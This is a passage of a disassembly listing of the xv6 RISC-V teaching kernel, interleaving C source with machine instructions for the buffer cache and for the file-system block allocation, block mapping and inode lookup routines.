xticks; } 80002d6a: 02049513 slli a0,s1,0x20 80002d6e: 9101 srli a0,a0,0x20 80002d70: 60e2 ld ra,24(sp) 80002d72: 6442 ld s0,16(sp) 80002d74: 64a2 ld s1,8(sp) 80002d76: 6105 addi sp,sp,32 80002d78: 8082 ret 0000000080002d7a <binit>: struct buf head; } bcache; void binit(void) { 80002d7a: 7179 addi sp,sp,-48 80002d7c: f406 sd ra,40(sp) 80002d7e: f022 sd s0,32(sp) 80002d80: ec26 sd s1,24(sp) 80002d82: e84a sd s2,16(sp) 80002d84: e44e sd s3,8(sp) 80002d86: e052 sd s4,0(sp) 80002d88: 1800 addi s0,sp,48 struct buf *b; initlock(&bcache.lock, "bcache"); 80002d8a: 00005597 auipc a1,0x5 80002d8e: 74e58593 addi a1,a1,1870 # 800084d8 <syscalls+0xb0> 80002d92: 00015517 auipc a0,0x15 80002d96: 9ee50513 addi a0,a0,-1554 # 80017780 <bcache> 80002d9a: ffffe097 auipc ra,0xffffe 80002d9e: de6080e7 jalr -538(ra) # 80000b80 <initlock> // Create linked list of buffers bcache.head.prev = &bcache.head; 80002da2: 0001d797 auipc a5,0x1d 80002da6: 9de78793 addi a5,a5,-1570 # 8001f780 <bcache+0x8000> 80002daa: 0001d717 auipc a4,0x1d 80002dae: c3e70713 addi a4,a4,-962 # 8001f9e8 <bcache+0x8268> 80002db2: 2ae7b823 sd a4,688(a5) bcache.head.next = &bcache.head; 80002db6: 2ae7bc23 sd a4,696(a5) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80002dba: 00015497 auipc s1,0x15 80002dbe: 9de48493 addi s1,s1,-1570 # 80017798 <bcache+0x18> b->next = bcache.head.next; 80002dc2: 893e mv s2,a5 b->prev = &bcache.head; 80002dc4: 89ba mv s3,a4 initsleeplock(&b->lock, "buffer"); 80002dc6: 00005a17 auipc s4,0x5 80002dca: 71aa0a13 addi s4,s4,1818 # 800084e0 <syscalls+0xb8> b->next = bcache.head.next; 80002dce: 2b893783 ld a5,696(s2) 80002dd2: e8bc sd a5,80(s1) b->prev = &bcache.head; 80002dd4: 0534b423 sd s3,72(s1) initsleeplock(&b->lock, "buffer"); 80002dd8: 85d2 mv a1,s4 80002dda: 01048513 addi a0,s1,16 80002dde: 00001097 auipc ra,0x1 80002de2: 4ac080e7 jalr 1196(ra) # 8000428a <initsleeplock> bcache.head.next->prev = b; 80002de6: 2b893783 ld a5,696(s2) 80002dea: e7a4 sd s1,72(a5) bcache.head.next = b; 80002dec: 2a993c23 sd s1,696(s2) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80002df0: 45848493 addi s1,s1,1112 80002df4: fd349de3 bne s1,s3,80002dce <binit+0x54> } } 80002df8: 70a2 ld ra,40(sp) 80002dfa: 7402 ld s0,32(sp) 80002dfc: 64e2 ld s1,24(sp) 80002dfe: 6942 ld s2,16(sp) 80002e00: 69a2 ld s3,8(sp) 80002e02: 6a02 ld s4,0(sp) 80002e04: 6145 addi sp,sp,48 80002e06: 8082 ret 0000000080002e08 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 80002e08: 7179 addi sp,sp,-48 80002e0a: f406 sd ra,40(sp) 80002e0c: f022 sd s0,32(sp) 80002e0e: ec26 sd s1,24(sp) 80002e10: e84a sd s2,16(sp) 80002e12: e44e sd s3,8(sp) 80002e14: 1800 addi s0,sp,48 80002e16: 89aa mv s3,a0 80002e18: 892e mv s2,a1 acquire(&bcache.lock); 80002e1a: 00015517 auipc a0,0x15 80002e1e: 96650513 addi a0,a0,-1690 # 80017780 <bcache> 80002e22: ffffe097 auipc ra,0xffffe 80002e26: dee080e7 jalr -530(ra) # 80000c10 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 80002e2a: 0001d497 auipc s1,0x1d 80002e2e: c0e4b483 ld s1,-1010(s1) # 8001fa38 <bcache+0x82b8> 80002e32: 0001d797 auipc a5,0x1d 80002e36: bb678793 addi a5,a5,-1098 # 8001f9e8 <bcache+0x8268> 80002e3a: 02f48f63 beq s1,a5,80002e78 <bread+0x70> 80002e3e: 873e mv a4,a5 80002e40: a021 j 80002e48 <bread+0x40> 80002e42: 68a4 ld s1,80(s1) 80002e44: 02e48a63 beq s1,a4,80002e78 <bread+0x70> if(b->dev == dev && b->blockno == blockno){ 80002e48: 449c lw a5,8(s1) 80002e4a: ff379ce3 bne a5,s3,80002e42 <bread+0x3a> 80002e4e: 44dc lw a5,12(s1) 80002e50: ff2799e3 bne a5,s2,80002e42 <bread+0x3a> b->refcnt++; 80002e54: 40bc lw a5,64(s1) 80002e56: 2785 addiw a5,a5,1 80002e58: c0bc sw a5,64(s1) release(&bcache.lock); 80002e5a: 00015517 auipc a0,0x15 80002e5e: 92650513 addi a0,a0,-1754 # 80017780 <bcache> 80002e62: ffffe097 auipc ra,0xffffe 80002e66: e62080e7 jalr -414(ra) # 80000cc4 <release> acquiresleep(&b->lock); 80002e6a: 01048513 addi a0,s1,16 80002e6e: 00001097 auipc ra,0x1 80002e72: 456080e7 jalr 1110(ra) # 800042c4 <acquiresleep> return b; 80002e76: a8b9 j 80002ed4 <bread+0xcc> for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80002e78: 0001d497 auipc s1,0x1d 80002e7c: bb84b483 ld s1,-1096(s1) # 8001fa30 <bcache+0x82b0> 80002e80: 0001d797 auipc a5,0x1d 80002e84: b6878793 addi a5,a5,-1176 # 8001f9e8 <bcache+0x8268> 80002e88: 00f48863 beq s1,a5,80002e98 <bread+0x90> 80002e8c: 873e mv a4,a5 if(b->refcnt == 0) { 80002e8e: 40bc lw a5,64(s1) 80002e90: cf81 beqz a5,80002ea8 <bread+0xa0> for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80002e92: 64a4 ld s1,72(s1) 80002e94: fee49de3 bne s1,a4,80002e8e <bread+0x86> panic("bget: no buffers"); 80002e98: 00005517 auipc a0,0x5 80002e9c: 65050513 addi a0,a0,1616 # 800084e8 <syscalls+0xc0> 80002ea0: ffffd097 auipc ra,0xffffd 80002ea4: 6a8080e7 jalr 1704(ra) # 80000548 <panic> b->dev = dev; 80002ea8: 0134a423 sw s3,8(s1) b->blockno = blockno; 80002eac: 0124a623 sw s2,12(s1) b->valid = 0; 80002eb0: 0004a023 sw zero,0(s1) b->refcnt = 1; 80002eb4: 4785 li a5,1 80002eb6: c0bc sw a5,64(s1) release(&bcache.lock); 80002eb8: 00015517 auipc a0,0x15 80002ebc: 8c850513 addi a0,a0,-1848 # 80017780 <bcache> 80002ec0: ffffe097 auipc ra,0xffffe 80002ec4: e04080e7 jalr -508(ra) # 80000cc4 <release> acquiresleep(&b->lock); 80002ec8: 01048513 addi a0,s1,16 80002ecc: 00001097 auipc ra,0x1 80002ed0: 3f8080e7 jalr 1016(ra) # 800042c4 <acquiresleep> struct buf *b; b = bget(dev, blockno); if(!b->valid) { 80002ed4: 409c lw a5,0(s1) 80002ed6: cb89 beqz a5,80002ee8 <bread+0xe0> virtio_disk_rw(b, 0); b->valid = 1; } return b; } 80002ed8: 8526 mv a0,s1 80002eda: 70a2 ld ra,40(sp) 80002edc: 7402 ld s0,32(sp) 80002ede: 64e2 ld s1,24(sp) 80002ee0: 6942 ld s2,16(sp) 80002ee2: 69a2 ld s3,8(sp) 80002ee4: 6145 addi sp,sp,48 80002ee6: 8082 ret virtio_disk_rw(b, 0); 80002ee8: 4581 li a1,0 80002eea: 8526 mv a0,s1 80002eec: 00003097 auipc ra,0x3 80002ef0: f30080e7 jalr -208(ra) # 80005e1c <virtio_disk_rw> b->valid = 1; 80002ef4: 4785 li a5,1 80002ef6: c09c sw a5,0(s1) return b; 80002ef8: b7c5 j 80002ed8 <bread+0xd0> 0000000080002efa <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 80002efa: 1101 addi sp,sp,-32 80002efc: ec06 sd ra,24(sp) 80002efe: e822 sd s0,16(sp) 80002f00: e426 sd s1,8(sp) 80002f02: 1000 addi s0,sp,32 80002f04: 84aa mv s1,a0 if(!holdingsleep(&b->lock)) 80002f06: 0541 addi a0,a0,16 80002f08: 00001097 auipc ra,0x1 80002f0c: 456080e7 jalr 1110(ra) # 8000435e <holdingsleep> 80002f10: cd01 beqz a0,80002f28 <bwrite+0x2e> panic("bwrite"); virtio_disk_rw(b, 1); 80002f12: 4585 li a1,1 80002f14: 8526 mv a0,s1 80002f16: 00003097 auipc ra,0x3 80002f1a: f06080e7 jalr -250(ra) # 80005e1c <virtio_disk_rw> } 80002f1e: 60e2 ld ra,24(sp) 80002f20: 6442 ld s0,16(sp) 80002f22: 64a2 ld s1,8(sp) 80002f24: 6105 addi sp,sp,32 80002f26: 8082 ret panic("bwrite"); 80002f28: 00005517 auipc a0,0x5 80002f2c: 5d850513 addi a0,a0,1496 # 80008500 <syscalls+0xd8> 80002f30: ffffd097 auipc ra,0xffffd 80002f34: 618080e7 jalr 1560(ra) # 80000548 <panic> 0000000080002f38 <brelse>: // Release a locked buffer. // Move to the head of the most-recently-used list. void brelse(struct buf *b) { 80002f38: 1101 addi sp,sp,-32 80002f3a: ec06 sd ra,24(sp) 80002f3c: e822 sd s0,16(sp) 80002f3e: e426 sd s1,8(sp) 80002f40: e04a sd s2,0(sp) 80002f42: 1000 addi s0,sp,32 80002f44: 84aa mv s1,a0 if(!holdingsleep(&b->lock)) 80002f46: 01050913 addi s2,a0,16 80002f4a: 854a mv a0,s2 80002f4c: 00001097 auipc ra,0x1 80002f50: 412080e7 jalr 1042(ra) # 8000435e <holdingsleep> 80002f54: c92d beqz a0,80002fc6 <brelse+0x8e> panic("brelse"); releasesleep(&b->lock); 80002f56: 854a mv a0,s2 80002f58: 00001097 auipc ra,0x1 80002f5c: 3c2080e7 jalr 962(ra) # 8000431a <releasesleep> acquire(&bcache.lock); 80002f60: 00015517 auipc a0,0x15 80002f64: 82050513 addi a0,a0,-2016 # 80017780 <bcache> 80002f68: ffffe097 auipc ra,0xffffe 80002f6c: ca8080e7 jalr -856(ra) # 80000c10 <acquire> b->refcnt--; 80002f70: 40bc lw a5,64(s1) 80002f72: 37fd addiw a5,a5,-1 80002f74: 0007871b sext.w a4,a5 80002f78: c0bc sw a5,64(s1) if (b->refcnt == 0) { 80002f7a: eb05 bnez a4,80002faa <brelse+0x72> // no one is waiting for it. b->next->prev = b->prev; 80002f7c: 68bc ld a5,80(s1) 80002f7e: 64b8 ld a4,72(s1) 80002f80: e7b8 sd a4,72(a5) b->prev->next = b->next; 80002f82: 64bc ld a5,72(s1) 80002f84: 68b8 ld a4,80(s1) 80002f86: ebb8 sd a4,80(a5) b->next = bcache.head.next; 80002f88: 0001c797 auipc a5,0x1c 80002f8c: 7f878793 addi a5,a5,2040 # 8001f780 <bcache+0x8000> 80002f90: 2b87b703 ld a4,696(a5) 80002f94: e8b8 sd a4,80(s1) b->prev = &bcache.head; 80002f96: 0001d717 auipc a4,0x1d 80002f9a: a5270713 addi a4,a4,-1454 # 8001f9e8 <bcache+0x8268> 80002f9e: e4b8 sd a4,72(s1) bcache.head.next->prev = b; 80002fa0: 2b87b703 ld a4,696(a5) 80002fa4: e724 sd s1,72(a4) bcache.head.next = b; 80002fa6: 2a97bc23 sd s1,696(a5) } release(&bcache.lock); 80002faa: 00014517 auipc a0,0x14 80002fae: 7d650513 addi a0,a0,2006 # 80017780 <bcache> 80002fb2: ffffe097 auipc ra,0xffffe 80002fb6: d12080e7 jalr -750(ra) # 80000cc4 <release> } 80002fba: 60e2 ld ra,24(sp) 80002fbc: 6442 ld s0,16(sp) 80002fbe: 64a2 ld s1,8(sp) 80002fc0: 6902 ld s2,0(sp) 80002fc2: 6105 addi sp,sp,32 80002fc4: 8082 ret panic("brelse"); 80002fc6: 00005517 auipc a0,0x5 80002fca: 54250513 addi a0,a0,1346 # 80008508 <syscalls+0xe0> 80002fce: ffffd097 auipc ra,0xffffd 80002fd2: 57a080e7 jalr 1402(ra) # 80000548 <panic> 0000000080002fd6 <bpin>: void bpin(struct buf *b) { 80002fd6: 1101 addi sp,sp,-32 80002fd8: ec06 sd ra,24(sp) 80002fda: e822 sd s0,16(sp) 80002fdc: e426 sd s1,8(sp) 80002fde: 1000 addi s0,sp,32 80002fe0: 84aa mv s1,a0 acquire(&bcache.lock); 80002fe2: 00014517 auipc a0,0x14 80002fe6: 79e50513 addi a0,a0,1950 # 80017780 <bcache> 80002fea: ffffe097 auipc ra,0xffffe 80002fee: c26080e7 jalr -986(ra) # 80000c10 <acquire> b->refcnt++; 80002ff2: 40bc lw a5,64(s1) 80002ff4: 2785 addiw a5,a5,1 80002ff6: c0bc sw a5,64(s1) release(&bcache.lock); 80002ff8: 00014517 auipc a0,0x14 80002ffc: 78850513 addi a0,a0,1928 # 80017780 <bcache> 80003000: ffffe097 auipc ra,0xffffe 80003004: cc4080e7 jalr -828(ra) # 80000cc4 <release> } 80003008: 60e2 ld ra,24(sp) 8000300a: 6442 ld s0,16(sp) 8000300c: 64a2 ld s1,8(sp) 8000300e: 6105 addi sp,sp,32 80003010: 8082 ret 0000000080003012 <bunpin>: void bunpin(struct buf *b) { 80003012: 1101 addi sp,sp,-32 80003014: ec06 sd ra,24(sp) 80003016: e822 sd s0,16(sp) 80003018: e426 sd s1,8(sp) 8000301a: 1000 addi s0,sp,32 8000301c: 84aa mv s1,a0 acquire(&bcache.lock); 8000301e: 00014517 auipc a0,0x14 80003022: 76250513 addi a0,a0,1890 # 80017780 <bcache> 80003026: ffffe097 auipc ra,0xffffe 8000302a: bea080e7 jalr -1046(ra) # 80000c10 <acquire> b->refcnt--; 8000302e: 40bc lw a5,64(s1) 80003030: 37fd addiw a5,a5,-1 80003032: c0bc sw a5,64(s1) release(&bcache.lock); 80003034: 00014517 auipc a0,0x14 80003038: 74c50513 addi a0,a0,1868 # 80017780 <bcache> 8000303c: ffffe097 auipc ra,0xffffe 80003040: c88080e7 jalr -888(ra) # 80000cc4 <release> } 80003044: 60e2 ld ra,24(sp) 80003046: 6442 ld s0,16(sp) 80003048: 64a2 ld s1,8(sp) 8000304a: 6105 addi sp,sp,32 8000304c: 8082 ret 000000008000304e <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 8000304e: 1101 addi sp,sp,-32 80003050: ec06 sd ra,24(sp) 80003052: e822 sd s0,16(sp) 80003054: e426 sd s1,8(sp) 80003056: e04a sd s2,0(sp) 80003058: 1000 addi s0,sp,32 8000305a: 84ae mv s1,a1 struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); 8000305c: 00d5d59b srliw a1,a1,0xd 80003060: 0001d797 auipc a5,0x1d 80003064: dfc7a783 lw a5,-516(a5) # 8001fe5c <sb+0x1c> 80003068: 9dbd addw a1,a1,a5 8000306a: 00000097 auipc ra,0x0 8000306e: d9e080e7 jalr -610(ra) # 80002e08 <bread> bi = b % BPB; m = 1 << (bi % 8); 80003072: 0074f713 andi a4,s1,7 80003076: 4785 li a5,1 80003078: 00e797bb sllw a5,a5,a4 if((bp->data[bi/8] & m) == 0) 8000307c: 14ce slli s1,s1,0x33 8000307e: 90d9 srli s1,s1,0x36 80003080: 00950733 add a4,a0,s1 80003084: 05874703 lbu a4,88(a4) 80003088: 00e7f6b3 and a3,a5,a4 8000308c: c69d beqz a3,800030ba <bfree+0x6c> 8000308e: 892a mv s2,a0 panic("freeing free block"); bp->data[bi/8] &= ~m; 80003090: 94aa add s1,s1,a0 80003092: fff7c793 not a5,a5 80003096: 8ff9 and a5,a5,a4 80003098: 04f48c23 sb a5,88(s1) log_write(bp); 8000309c: 00001097 auipc ra,0x1 800030a0: 100080e7 jalr 256(ra) # 8000419c <log_write> brelse(bp); 800030a4: 854a mv a0,s2 800030a6: 00000097 auipc ra,0x0 800030aa: e92080e7 jalr -366(ra) # 80002f38 <brelse> } 800030ae: 60e2 ld ra,24(sp) 800030b0: 6442 ld s0,16(sp) 800030b2: 64a2 ld s1,8(sp) 800030b4: 6902 ld s2,0(sp) 800030b6: 6105 addi sp,sp,32 800030b8: 8082 ret panic("freeing free block"); 800030ba: 00005517 auipc a0,0x5 800030be: 45650513 addi a0,a0,1110 # 80008510 <syscalls+0xe8> 800030c2: ffffd097 auipc ra,0xffffd 800030c6: 486080e7 jalr 1158(ra) # 80000548 <panic> 00000000800030ca <balloc>: { 800030ca: 711d addi sp,sp,-96 800030cc: ec86 sd ra,88(sp) 800030ce: e8a2 sd s0,80(sp) 800030d0: e4a6 sd s1,72(sp) 800030d2: e0ca sd s2,64(sp) 800030d4: fc4e sd s3,56(sp) 800030d6: f852 sd s4,48(sp) 800030d8: f456 sd s5,40(sp) 800030da: f05a sd s6,32(sp) 800030dc: ec5e sd s7,24(sp) 800030de: e862 sd s8,16(sp) 800030e0: e466 sd s9,8(sp) 800030e2: 1080 addi s0,sp,96 for(b = 0; b < sb.size; b += BPB){ 800030e4: 0001d797 auipc a5,0x1d 800030e8: d607a783 lw a5,-672(a5) # 8001fe44 <sb+0x4> 800030ec: cbd1 beqz a5,80003180 <balloc+0xb6> 800030ee: 8baa mv s7,a0 800030f0: 4a81 li s5,0 bp = bread(dev, BBLOCK(b, sb)); 800030f2: 0001db17 auipc s6,0x1d 800030f6: d4eb0b13 addi s6,s6,-690 # 8001fe40 <sb> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 800030fa: 4c01 li s8,0 m = 1 << (bi % 8); 800030fc: 4985 li s3,1 for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 800030fe: 6a09 lui s4,0x2 for(b = 0; b < sb.size; b += BPB){ 80003100: 6c89 lui s9,0x2 80003102: a831 j 8000311e <balloc+0x54> brelse(bp); 80003104: 854a mv a0,s2 80003106: 00000097 auipc ra,0x0 8000310a: e32080e7 jalr -462(ra) # 80002f38 <brelse> for(b = 0; b < sb.size; b += BPB){ 8000310e: 015c87bb addw a5,s9,s5 80003112: 00078a9b sext.w s5,a5 80003116: 004b2703 lw a4,4(s6) 8000311a: 06eaf363 bgeu s5,a4,80003180 <balloc+0xb6> bp = bread(dev, BBLOCK(b, sb)); 8000311e: 41fad79b sraiw a5,s5,0x1f 80003122: 0137d79b srliw a5,a5,0x13 80003126: 015787bb addw a5,a5,s5 8000312a: 40d7d79b sraiw a5,a5,0xd 8000312e: 01cb2583 lw a1,28(s6) 80003132: 9dbd addw a1,a1,a5 80003134: 855e mv a0,s7 80003136: 00000097 auipc ra,0x0 8000313a: cd2080e7 jalr -814(ra) # 80002e08 <bread> 8000313e: 892a mv s2,a0 for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80003140: 004b2503 lw a0,4(s6) 80003144: 000a849b sext.w s1,s5 80003148: 8662 mv a2,s8 8000314a: faa4fde3 bgeu s1,a0,80003104 <balloc+0x3a> m = 1 << (bi % 8); 8000314e: 41f6579b sraiw a5,a2,0x1f 80003152: 01d7d69b srliw a3,a5,0x1d 80003156: 00c6873b addw a4,a3,a2 8000315a: 00777793 andi a5,a4,7 8000315e: 9f95 subw a5,a5,a3 80003160: 00f997bb sllw a5,s3,a5 if((bp->data[bi/8] & m) == 0){ // Is block free? 80003164: 4037571b sraiw a4,a4,0x3 80003168: 00e906b3 add a3,s2,a4 8000316c: 0586c683 lbu a3,88(a3) 80003170: 00d7f5b3 and a1,a5,a3 80003174: cd91 beqz a1,80003190 <balloc+0xc6> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80003176: 2605 addiw a2,a2,1 80003178: 2485 addiw s1,s1,1 8000317a: fd4618e3 bne a2,s4,8000314a <balloc+0x80> 8000317e: b759 j 80003104 <balloc+0x3a> panic("balloc: out of blocks"); 80003180: 00005517 auipc a0,0x5 80003184: 3a850513 addi a0,a0,936 # 80008528 <syscalls+0x100> 80003188: ffffd097 auipc ra,0xffffd 8000318c: 3c0080e7 jalr 960(ra) # 80000548 <panic> bp->data[bi/8] |= m; // Mark block in use. 80003190: 974a add a4,a4,s2 80003192: 8fd5 or a5,a5,a3 80003194: 04f70c23 sb a5,88(a4) log_write(bp); 80003198: 854a mv a0,s2 8000319a: 00001097 auipc ra,0x1 8000319e: 002080e7 jalr 2(ra) # 8000419c <log_write> brelse(bp); 800031a2: 854a mv a0,s2 800031a4: 00000097 auipc ra,0x0 800031a8: d94080e7 jalr -620(ra) # 80002f38 <brelse> bp = bread(dev, bno); 800031ac: 85a6 mv a1,s1 800031ae: 855e mv a0,s7 800031b0: 00000097 auipc ra,0x0 800031b4: c58080e7 jalr -936(ra) # 80002e08 <bread> 800031b8: 892a mv s2,a0 memset(bp->data, 0, BSIZE); 800031ba: 40000613 li a2,1024 800031be: 4581 li a1,0 800031c0: 05850513 addi a0,a0,88 800031c4: ffffe097 auipc ra,0xffffe 800031c8: b48080e7 jalr -1208(ra) # 80000d0c <memset> log_write(bp); 800031cc: 854a mv a0,s2 800031ce: 00001097 auipc ra,0x1 800031d2: fce080e7 jalr -50(ra) # 8000419c <log_write> brelse(bp); 800031d6: 854a mv a0,s2 800031d8: 00000097 auipc ra,0x0 800031dc: d60080e7 jalr -672(ra) # 80002f38 <brelse> } 800031e0: 8526 mv a0,s1 800031e2: 60e6 ld ra,88(sp) 800031e4: 6446 ld s0,80(sp) 800031e6: 64a6 ld s1,72(sp) 800031e8: 6906 ld s2,64(sp) 800031ea: 79e2 ld s3,56(sp) 800031ec: 7a42 ld s4,48(sp) 800031ee: 7aa2 ld s5,40(sp) 800031f0: 7b02 ld s6,32(sp) 800031f2: 6be2 ld s7,24(sp) 800031f4: 6c42 ld s8,16(sp) 800031f6: 6ca2 ld s9,8(sp) 800031f8: 6125 addi sp,sp,96 800031fa: 8082 ret 00000000800031fc <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 800031fc: 7179 addi sp,sp,-48 800031fe: f406 sd ra,40(sp) 80003200: f022 sd s0,32(sp) 80003202: ec26 sd s1,24(sp) 80003204: e84a sd s2,16(sp) 80003206: e44e sd s3,8(sp) 80003208: e052 sd s4,0(sp) 8000320a: 1800 addi s0,sp,48 8000320c: 892a mv s2,a0 uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 8000320e: 47ad li a5,11 80003210: 04b7fe63 bgeu a5,a1,8000326c <bmap+0x70> if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); return addr; } bn -= NDIRECT; 80003214: ff45849b addiw s1,a1,-12 80003218: 0004871b sext.w a4,s1 if(bn < NINDIRECT){ 8000321c: 0ff00793 li a5,255 80003220: 0ae7e363 bltu a5,a4,800032c6 <bmap+0xca> // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) 80003224: 08052583 lw a1,128(a0) 80003228: c5ad beqz a1,80003292 <bmap+0x96> ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 8000322a: 00092503 lw a0,0(s2) 8000322e: 00000097 auipc ra,0x0 80003232: bda080e7 jalr -1062(ra) # 80002e08 <bread> 80003236: 8a2a mv s4,a0 a = (uint*)bp->data; 80003238: 05850793 addi a5,a0,88 if((addr = a[bn]) == 0){ 8000323c: 02049593 slli a1,s1,0x20 80003240: 9181 srli a1,a1,0x20 80003242: 058a slli a1,a1,0x2 80003244: 00b784b3 add s1,a5,a1 80003248: 0004a983 lw s3,0(s1) 8000324c: 04098d63 beqz s3,800032a6 <bmap+0xaa> a[bn] = addr = balloc(ip->dev); log_write(bp); } brelse(bp); 80003250: 8552 mv a0,s4 80003252: 00000097 auipc ra,0x0 80003256: ce6080e7 jalr -794(ra) # 80002f38 <brelse> return addr; } panic("bmap: out of range"); } 8000325a: 854e mv a0,s3 8000325c: 70a2 ld ra,40(sp) 8000325e: 7402 ld s0,32(sp) 80003260: 64e2 ld s1,24(sp) 80003262: 6942 ld s2,16(sp) 80003264: 69a2 ld s3,8(sp) 80003266: 6a02 ld s4,0(sp) 80003268: 6145 addi sp,sp,48 8000326a: 8082 ret if((addr = ip->addrs[bn]) == 0) 8000326c: 02059493 slli s1,a1,0x20 80003270: 9081 srli s1,s1,0x20 80003272: 048a slli s1,s1,0x2 80003274: 94aa add s1,s1,a0 80003276: 0504a983 lw s3,80(s1) 8000327a: fe0990e3 bnez s3,8000325a <bmap+0x5e> ip->addrs[bn] = addr = balloc(ip->dev); 8000327e: 4108 lw a0,0(a0) 80003280: 00000097 auipc ra,0x0 80003284: e4a080e7 jalr -438(ra) # 800030ca <balloc> 80003288: 0005099b sext.w s3,a0 8000328c: 0534a823 sw s3,80(s1) 80003290: b7e9 j 8000325a <bmap+0x5e> ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80003292: 4108 lw a0,0(a0) 80003294: 00000097 auipc ra,0x0 80003298: e36080e7 jalr -458(ra) # 800030ca <balloc> 8000329c: 0005059b sext.w a1,a0 800032a0: 08b92023 sw a1,128(s2) 800032a4: b759 j 8000322a <bmap+0x2e> a[bn] = addr = balloc(ip->dev); 800032a6: 00092503 lw a0,0(s2) 800032aa: 00000097 auipc ra,0x0 800032ae: e20080e7 jalr -480(ra) # 800030ca <balloc> 800032b2: 0005099b sext.w s3,a0 800032b6: 0134a023 sw s3,0(s1) log_write(bp); 800032ba: 8552 mv a0,s4 800032bc: 00001097 auipc ra,0x1 800032c0: ee0080e7 jalr -288(ra) # 8000419c <log_write> 800032c4: b771 j 80003250 <bmap+0x54> panic("bmap: out of range"); 800032c6: 00005517 auipc a0,0x5 800032ca: 27a50513 addi a0,a0,634 # 80008540 <syscalls+0x118> 800032ce: ffffd097 auipc ra,0xffffd 800032d2: 27a080e7 jalr 634(ra) # 80000548 <panic> 00000000800032d6 <iget>: { 800032d6: 7179 addi sp,sp,-48 800032d8: f406 sd ra,40(sp) 800032da: f022 sd s0,32(sp) 800032dc: ec26 sd s1,24(sp) 800032de: e84a sd s2,16(sp) 800032e0: e44e sd s3,8(sp) 800032e2: e052 sd s4,0(sp) 800032e4: 1800 addi s0,sp,48 800032e6: 89aa mv s3,a0 800032e8: 8a2e mv s4,a1 acquire(&icache.lock); 800032ea: 0001d517 auipc a0,0x1d 800032ee: b7650513 addi a0,a0,-1162 # 8001fe60 <icache> 800032f2: ffffe097 auipc ra,0xffffe 800032f6: 91e080e7 jalr -1762(ra) # 80000c10 <acquire> empty = 0; 800032fa: 4901 li s2,0 for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 800032fc: 0001d497 auipc s1,0x1d 80003300: b7c48493 addi s1,s1,-1156 # 8001fe78 <icache+0x18> 80003304: 0001e697 auipc a3,0x1e 80003308: 60468693 addi a3,a3,1540 # 80021908 <log> 8000330c: a039 j 8000331a <iget+0x44> if(empty == 0 && ip->ref == 0) // Remember empty slot. 8000330e: 02090b63 beqz s2,80003344 <iget+0x6e> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80003312: 08848493 addi s1,s1,136 80003316: 02d48a63 beq s1,a3,8000334a <iget+0x74> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 8000331a: 449c lw a5,8(s1) 8000331c: fef059e3 blez a5,8000330e <iget+0x38> 80003320: 4098 lw a4,0(s1) 80003322: ff3716e3 bne a4,s3,8000330e <iget+0x38> 80003326: 40d8 lw a4,4(s1) 80003328: ff4713e3 bne a4,s4,8000330e <iget+0x38> ip->ref++; 8000332c: 2785 addiw a5,a5,1 8000332e: c49c sw a5,8(s1) release(&icache.lock); 80003330: 0001d517 auipc a0,0x1d 80003334: b3050513 addi a0,a0,-1232 # 8001fe60 <icache> 80003338: ffffe097 auipc ra,0xffffe 8000333c: 98c080e7 jalr -1652(ra) # 80000cc4 <release> return ip; 80003340: 8926 mv s2,s1 80003342: a03d j 80003370 <iget+0x9a> if(empty == 0 && ip->ref == 0) // Remember empty slot. 80003344: f7f9 bnez a5,80003312 <iget+0x3c> 80003346: 8926 mv s2,s1 80003348: b7e9 j 80003312 <iget+0x3c> if(empty == 0) 8000334a: 02090c63 beqz s2,80003382 <iget+0xac> ip->dev = dev; 8000334e: 01392023 sw s3,0(s2) ip->inum = inum; 80003352: 01492223 sw s4,4(s2) ip->ref = 1; 80003356: 4785 li a5,1 80003358: 00f92423 sw a5,8(s2) ip->valid = 0; 8000335c: 04092023 sw zero,64(s2) release(&icache.lock); 80003360: 0001d517 auipc a0,0x1d 80003364: b0050513 addi a0,a0,-1280 # 8001fe60 <icache> 80003368: ffffe097 auipc ra,0xffffe 8000336c: 95c080e7 jalr -1700(ra) # 80000cc4 <release> } 80003370: 854a mv a0,s2 80003372: 70a2 ld ra,40(sp) 80003374: 7402 ld s0,32(sp) 80003376: 64e2 ld s1,24(sp) 80003378: 6942 ld s2,16(sp) 8000337a: 69a2 ld s3,8(sp) 8000337c: 6a02 ld s4,0(sp) 8000337e: 6145 addi sp,sp,48 80003380: 8082 ret panic("iget: no inodes"); 80003382: 00005517 auipc a0,0x5 80003386: 1d650513 addi a0,a0,470 # 80008558 <syscalls+0x130> 8000338a: ffffd097 auipc ra,0xffffd 8000338e: 1be080e7 jalr 446(ra) # 80000548 <panic> 0000000080003392 <fsinit>: fsinit(int dev) { 80003392: 7179 addi sp,sp,-48 80003394: f406 sd ra,40(sp) 80003396: f022 sd s0,32(sp) 80003398: ec26 sd s1,24(sp) 8000339a: e84a sd s2,16(sp) 8000339c: e44e sd s3,8(sp) 8000339e: 1800 addi s0,sp,48 800033a0: 892a mv s2,a0 bp = bread(dev, 1); 800033a2: 4585 li a1,1 800033a4: 00000097 auipc ra,0x0 800033a8: a64080e7 jalr -1436(ra) # 80002e08 <bread> 800033ac: 84aa mv s1,a0 memmove(sb, bp->data, sizeof(*sb)); 800033ae: 0001d997 auipc s3,0x1d 800033b2: a9298993 addi 